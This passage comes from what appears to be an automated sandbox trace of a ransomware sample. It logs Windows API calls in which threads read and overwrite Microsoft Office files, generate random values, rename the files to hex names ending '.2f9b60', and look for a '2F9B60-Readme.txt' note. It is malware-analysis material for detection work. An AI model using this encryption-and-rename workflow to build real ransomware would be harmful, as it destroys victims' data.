[0165.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0165.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0165.628] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff010 [0165.629] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff010) returned 1 [0165.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1cf076c0 [0165.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff010 [0165.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff190 [0165.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff190) returned 1 [0165.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0165.630] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0165.630] WriteFile (in: hFile=0x1b28, lpBuffer=0x1cf076c0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b30fc80, lpOverlapped=0x0 | out: lpBuffer=0x1cf076c0*, lpNumberOfBytesWritten=0x3b30fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0187.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf076c0) returned 1 [0187.136] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x91326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.136] ReadFile (in: hFile=0x1b28, lpBuffer=0x42234d90, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b30fc80, lpOverlapped=0x0 | out: lpBuffer=0x42234d90*, lpNumberOfBytesRead=0x3b30fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0190.522] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x91326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c0d0 [0190.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0190.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b60 [0190.523] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b60) returned 1 [0190.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42b356b0 [0190.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b60 [0190.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138b90 [0190.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138b90) returned 1 [0190.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0190.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c0d0) returned 1 [0190.526] WriteFile (in: hFile=0x1b28, lpBuffer=0x42b356b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b30fc80, lpOverlapped=0x0 | out: lpBuffer=0x42b356b0*, lpNumberOfBytesWritten=0x3b30fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0205.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42b356b0) returned 1 [0205.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f280 [0205.306] SetFilePointerEx (in: hFile=0x1b28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0205.306] WriteFile (in: hFile=0x1b28, lpBuffer=0x1cebceb0*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3b30fd30, lpOverlapped=0x0 | out: lpBuffer=0x1cebceb0*, lpNumberOfBytesWritten=0x3b30fd30*=0x144, lpOverlapped=0x0) returned 1 [0208.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61650 [0208.998] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb360 [0208.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40a0 [0208.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a40a0) returned 1 [0208.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82d520 [0209.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40a0 [0209.000] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4070 [0209.000] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4070) returned 1 [0209.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb360) returned 1 [0209.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61650) returned 1 [0209.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x423a4070 [0209.002] sprintf (in: _Dest=0x423a4070, _Format="%c%c" | out: _Dest="7b") returned 2 [0209.002] sprintf (in: _Dest=0x423a4072, _Format="%c%c" | out: _Dest="39") returned 2 [0209.002] sprintf (in: _Dest=0x423a4074, _Format="%c%c" | out: _Dest="b0") returned 2 [0209.002] sprintf (in: _Dest=0x423a4076, _Format="%c%c" | out: _Dest="cc") returned 2 [0209.002] sprintf (in: _Dest=0x423a4078, _Format="%c%c" | out: _Dest="99") returned 2 [0209.002] sprintf (in: _Dest=0x423a407a, _Format="%c%c" | out: _Dest="d0") returned 2 [0209.002] sprintf (in: _Dest=0x423a407c, _Format="%c%c" | out: _Dest="ea") returned 2 [0209.002] sprintf (in: _Dest=0x423a407e, _Format="%c%c" | out: _Dest="ed") returned 2 [0209.002] sprintf (in: _Dest=0x423a4080, _Format="%c%c" | out: _Dest="4f") returned 2 [0209.002] sprintf (in: _Dest=0x423a4082, _Format="%c%c" | out: _Dest="44") returned 2 [0209.002] sprintf (in: _Dest=0x423a4084, _Format="%c%c" | out: _Dest="86") returned 2 [0209.002] sprintf (in: _Dest=0x423a4086, _Format="%c%c" | out: _Dest="96") returned 2 [0209.002] sprintf (in: _Dest=0x423a4088, _Format="%c%c" | out: _Dest="a6") returned 2 [0209.002] sprintf (in: _Dest=0x423a408a, _Format="%c%c" | out: _Dest="01") returned 2 [0209.002] sprintf (in: _Dest=0x423a408c, _Format="%c%c" | out: _Dest="b9") returned 2 [0209.002] sprintf (in: _Dest=0x423a408e, _Format="%c%c" | out: _Dest="de") returned 2 [0209.002] sprintf (in: _Dest=0x423a4090, _Format="%c%c" | out: _Dest="ab") returned 2 [0209.002] sprintf (in: _Dest=0x423a4092, _Format="%c%c" | out: _Dest="8f") returned 2 [0209.002] RtlInitAnsiString (in: DestinationString=0x3b30fda8, SourceString="7b39b0cc99d0eaed4f448696a601b9deab8f" | out: DestinationString="7b39b0cc99d0eaed4f448696a601b9deab8f") [0209.002] RtlAnsiStringToUnicodeString (in: DestinationString=0x3b30fd78, SourceString="7b39b0cc99d0eaed4f448696a601b9deab8f", AllocateDestinationString=1 | out: DestinationString="7b39b0cc99d0eaed4f448696a601b9deab8f") returned 0x0 [0209.002] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1ced64c0 [0209.003] wcscat (in: _Dest=0x431a1c80, _Source="7b39b0cc9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7b39b0cc9") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7b39b0cc9" [0209.003] wcscat (in: _Dest=0x431a1c80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7b39b0cc9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7b39b0cc9.2f9b60" [0209.003] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\7b39b0cc9.2f9b60", NtPathName=0x3b30fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\7b39b0cc9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x431eaf60 Thread: id = 2187 os_tid = 0x1638 [0140.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 0x20 [0144.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC", dwFileAttributes=0x20) returned 1 [0145.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f84 [0146.148] GetFileSizeEx (in: hFile=0x1f84, lpFileSize=0x3bf2fda0 | out: lpFileSize=0x3bf2fda0*=621) returned 1 [0146.148] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x269, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.148] ReadFile (in: hFile=0x1f84, lpBuffer=0x3bf2fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3bf2fd68, lpOverlapped=0x0 | out: lpBuffer=0x3bf2fd20*, lpNumberOfBytesRead=0x3bf2fd68*=0x4, lpOverlapped=0x0) returned 1 [0146.154] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264230 [0146.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202641d0 [0146.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265940 [0146.155] NtQuerySystemTime (in: CurrentTime=0x3bf2fc60 | out: CurrentTime=0x3bf2fc60*=132462177513898000) returned 0x0 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x67594a8c [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x3030e81a [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x7f7abcd5 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x3569d058 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x75a3b5fe [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x4a50618c [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x53bf1c71 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x675a0ac [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x1c8fffc6 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x1368b2d2 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x25d81f28 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0xd17ff69 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x296cc284 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x52a7f317 [0146.156] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x6df69993 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x500aeec3 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x7de1a176 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x72556806 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x1cfa696a [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x6f05f75 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x58ab4513 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x128d5d71 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x49c76870 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x354d25af [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x4838d421 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x33104410 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x10c546a3 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x7611f54f [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x108255f5 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x66983b75 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x4efb4151 [0146.157] RtlRandomEx (in: Seed=0x3bf2fc50 | out: Seed=0x3bf2fc50) returned 0x7de5c55d [0146.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202659d0 [0146.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643b0 [0146.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265940) returned 1 [0146.174] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264230) returned 1 [0146.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264230 [0146.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264230) returned 1 [0146.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221e530 [0146.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42222140 [0146.175] ReadFile (in: hFile=0x1f84, lpBuffer=0x4221e530, nNumberOfBytesToRead=0x26d, lpNumberOfBytesRead=0x3bf2fc50, lpOverlapped=0x0 | out: lpBuffer=0x4221e530*, lpNumberOfBytesRead=0x3bf2fc50*=0x26d, lpOverlapped=0x0) returned 1 [0146.175] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.175] WriteFile (in: hFile=0x1f84, lpBuffer=0x42222140*, nNumberOfBytesToWrite=0x26d, lpNumberOfBytesWritten=0x3bf2fc54, lpOverlapped=0x0 | out: lpBuffer=0x42222140*, lpNumberOfBytesWritten=0x3bf2fc54*=0x26d, lpOverlapped=0x0) returned 1 [0146.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264230 [0146.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0146.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643e0) returned 1 [0146.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42222140) returned 1 [0146.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221e530) returned 1 [0146.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.198] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x202643e0 [0146.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266870 [0146.199] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0146.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x20266870 [0146.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ba0 [0146.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267440 [0146.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267440) returned 1 [0146.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x166f20 [0146.200] SetFilePointerEx (in: hFile=0x1f84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0146.200] WriteFile (in: hFile=0x1f84, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3bf2fd70, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3bf2fd70*=0x10c, lpOverlapped=0x0) returned 1 [0146.206] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0146.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0146.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672f0 [0146.207] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0146.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x202672f0 [0146.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266900 [0146.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267980 [0146.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267980) returned 1 [0146.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0146.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0146.208] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x35) returned 0x1cd9f5b0 [0146.208] sprintf (in: _Dest=0x1cd9f5b0, _Format="%c%c" | out: _Dest="fc") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5b2, _Format="%c%c" | out: _Dest="c2") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5b4, _Format="%c%c" | out: _Dest="ec") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5b6, _Format="%c%c" | out: _Dest="bd") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5b8, _Format="%c%c" | out: _Dest="b4") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5ba, _Format="%c%c" | out: _Dest="f7") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5bc, _Format="%c%c" | out: _Dest="1f") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5be, _Format="%c%c" | out: _Dest="2e") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5c0, _Format="%c%c" | out: _Dest="1d") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5c2, _Format="%c%c" | out: _Dest="43") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5c4, _Format="%c%c" | out: _Dest="16") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5c6, _Format="%c%c" | out: _Dest="36") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5c8, _Format="%c%c" | out: _Dest="7e") returned 2 [0146.208] sprintf (in: _Dest=0x1cd9f5ca, _Format="%c%c" | out: _Dest="cc") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5cc, _Format="%c%c" | out: _Dest="f8") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5ce, _Format="%c%c" | out: _Dest="9c") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5d0, _Format="%c%c" | out: _Dest="56") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5d2, _Format="%c%c" | out: _Dest="a8") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5d4, _Format="%c%c" | out: _Dest="a5") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5d6, _Format="%c%c" | out: _Dest="27") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5d8, _Format="%c%c" | out: _Dest="7b") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5da, _Format="%c%c" | out: _Dest="1c") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5dc, _Format="%c%c" | out: _Dest="4d") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5de, _Format="%c%c" | out: _Dest="97") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5e0, _Format="%c%c" | out: _Dest="1f") returned 2 [0146.209] sprintf (in: _Dest=0x1cd9f5e2, _Format="%c%c" | out: _Dest="64") returned 2 [0146.209] RtlInitAnsiString (in: DestinationString=0x3bf2fde8, SourceString="fcc2ecbdb4f71f2e1d4316367eccf89c56a8a5277b1c4d971f64" | out: DestinationString="fcc2ecbdb4f71f2e1d4316367eccf89c56a8a5277b1c4d971f64") [0146.209] RtlAnsiStringToUnicodeString (in: DestinationString=0x3bf2fdb8, SourceString="fcc2ecbdb4f71f2e1d4316367eccf89c56a8a5277b1c4d971f64", AllocateDestinationString=1 | out: DestinationString="fcc2ecbdb4f71f2e1d4316367eccf89c56a8a5277b1c4d971f64") returned 0x0 [0146.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x420612b0 [0146.209] RtlFreeAnsiString (AnsiString="f") [0146.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0146.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672f0) returned 1 [0146.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266900) returned 1 [0146.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0146.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266870) returned 1 [0146.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ba0) returned 1 [0146.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643e0) returned 1 [0146.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264230) returned 1 [0146.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202641d0) returned 1 [0146.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202659d0) returned 1 [0146.211] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643b0) returned 1 [0146.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507690 [0146.211] wcscat (in: _Dest=0x20507690, _Source="fcc2ecbdb4f71" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcc2ecbdb4f71") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcc2ecbdb4f71" [0146.211] wcscat (in: _Dest=0x20507690, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcc2ecbdb4f71.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcc2ecbdb4f71.2f9b60" [0146.211] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcc2ecbdb4f71.2f9b60", NtPathName=0x3bf2fd90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\fcc2ecbdb4f71.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0146.212] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050bb60 [0146.212] NtSetInformationFile (FileHandle=0x1f84, IoStatusBlock=0x3bf2fe30, FileInformation=0x2050bb60, Length=0xa8, FileInformationClass=0xa) [0204.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050bb60) returned 1 [0204.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced42e0) returned 1 [0204.380] NtQueryInformationFile (in: FileHandle=0x1f84, IoStatusBlock=0x3bf2fdf8, FileInformation=0x3bf2fe08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3bf2fdf8, FileInformation=0x3bf2fe08) returned 0x0 [0204.381] NtSetInformationFile (FileHandle=0x1f84, IoStatusBlock=0x3bf2fdf8, FileInformation=0x3bf2fe08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507690) returned 1 [0209.447] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420612b0) returned 1 [0209.447] FlushFileBuffers (hFile=0x1f84) returned 1 [0209.468] CloseHandle (hObject=0x1f84) returned 1 [0216.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a5220 [0216.387] wcscpy (in: _Dest=0x202a5220, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0216.387] wcscat (in: _Dest=0x202a5220, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0216.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0216.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5220) returned 1 [0216.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af190) returned 1 Thread: id = 2188 os_tid = 0x163c [0140.596] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg")) returned 0x20 [0140.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG", dwFileAttributes=0x20) returned 1 [0140.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fa0 [0142.193] GetFileSizeEx (in: hFile=0x1fa0, lpFileSize=0x3c2af680 | out: 